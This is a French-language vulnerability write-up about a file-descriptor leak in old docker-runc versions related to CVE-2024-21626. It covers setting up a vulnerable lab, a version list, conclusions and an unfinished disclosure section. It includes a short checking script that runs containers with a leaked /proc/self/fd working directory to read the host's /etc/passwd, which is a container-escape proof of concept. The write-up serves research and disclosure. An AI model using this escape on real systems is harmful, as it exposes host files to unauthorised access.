Vulnérabilité d'évasion de conteneur dans les anciens composants runc (CVE-2024-21626)

Lors de mon analyse de CVE-2024-21626, j'ai découvert que d'autres anciens composants Docker sont vulnérables à une fuite de descripteur de fichier (non mentionnée dans l'avis de sécurité GHSA-xr7r-f8xq-vfvv). Lisez mon article complet pour une explication détaillée ici.

1. Configuration de l'environnement 🔨

A. Télécharger et installer la version Ubuntu 18.04.6 LTS (Bionic Beaver)

Pendant l'installation, ne cochez pas la case pour télécharger les mises à jour du système.

B. Installer la version vulnérable de Docker et les composants associés

• Allez sur https://download.docker.com/linux/static/stable/x86_64/ et téléchargez l'ancienne version docker-X.Y.Z-ce.tgz pour tester

• Extrayez-la, copiez le contenu dans le chemin /usr/bin et lancez le daemon Docker.

  root@kitploit:~

  cd Downloads/
  tar xzvf <docker-X.Y.Z-ce.tgz>
  sudo cp docker/* /usr/bin/
  sudo dockerd &
  

C. Vérifier les versions installées

sudo docker version
containerd --version
uname -r

Dans les anciennes versions, nous avons docker-runc au lieu de runc. Vérifiez donc :

ls -la /usr/bin | grep docker
    -rwxr-xr-x  1 root root    14128576 mar 19 10:54 docker
    -rwxr-xr-x  1 root root     8932648 mar 19 10:54 docker-containerd
    -rwxr-xr-x  1 root root     8381448 mar 19 10:54 docker-containerd-ctr
    -rwxr-xr-x  1 root root     3047368 mar 19 10:54 docker-containerd-shim
    -rwxr-xr-x  1 root root    39989264 mar 19 10:54 dockerd
    -rwxr-xr-x  1 root root      772400 mar 19 10:54 docker-init
    -rwxr-xr-x  1 root root     2534781 mar 19 10:54 docker-proxy
    -rwxr-xr-x  1 root root     7092608 mar 19 10:54 docker-runc

ls -la /usr/bin| grep runc
    -rwxr-xr-x  1 root root       10232 mar 18  2018 bdftruncate
    -rwxr-xr-x  1 root root     7092608 mar 19 10:54 docker-runc
    -rwxr-xr-x  1 root root       35000 gen 18  2018 runcon
    -rwxr-xr-x  1 root root       39096 gen 18  2018 truncate

Vérifiez la version de doker-runc/runc

runc --version
docker-runc -v

2. Vérifier si la cible est vulnérable et trouver le bon fd 🧐

Exécutez checkVulnerability.sh et vérifiez si le fichier s'affiche dans le terminal

# checkVulnerability.sh
#! /bin/bash
for i in {4..20}; do
    sudo docker run -it --rm -w /proc/self/fd/$i alpine:3.14.3 sh -c "tail /proc/self/cwd/../../../etc/passwd"
    echo ""
done

# clone CVE-2024-21626-old-docker-versions repository
git clone [email protected]:Sk3pper/CVE-2024-21626-old-docker-versions.git

# run checkVulnerability.sh
chmod +x checkVulnerability.sh
./checkVulnerability.sh

Pour cet exemple, j'ai utilisé la version docker-17.03.1-ce.

3. Tenter l'exploit 🔫

Pour cet exemple, j'ai utilisé la version docker-17.03.1-ce.

4. Résultats des tests 🧪

Voici les résultats de mon analyse, organisés par version de Docker et par version de runc associée utilisée.

docker-runc

runc

Voici la capture d'écran montrant les trois différentes versions vulnérables.

1.0.0-rc2	1.0.0-rc3	1.0.0-rc4+dev

Comme pour CVE-2024-21626, les différents types d'attaques restent possibles.

5. Conclusion et enseignements 🔚

Cette vulnérabilité est assez différente de la CVE-2024-21626 car :

1. Elle peut être déclenchée sur d'anciennes versions de Linux qui ne disposent pas de l'appel système openat2.
2. Le descripteur de fichier divulgué se trouve dans le chemin /run/runc/<container>/, qui contient l'état des conteneurs en cours d'exécution, plutôt que dans le répertoire /sys/fs/cgroup de l'hôte.

Ce que j'ai découvert, c'est que les anciennes versions sont également vulnérables à la même technique d'attaque. Bien que la vulnérabilité elle-même diffère, le résultat est le même : obtenir un accès au système de fichiers de l'hôte. L'essentiel à retenir est de ne pas se fier uniquement aux avis de sécurité - testez tout en profondeur. Comprenez pleinement la CVE, son fonctionnement, expérimentez-la dans un environnement sûr et explorez les cas limites.

6. Divulgation responsable 🕺🏻

J'ai essayé de contacter [email protected], [email protected] et j'ai tenté d'ouvrir une CVE. J'ai reçu les réponses suivantes :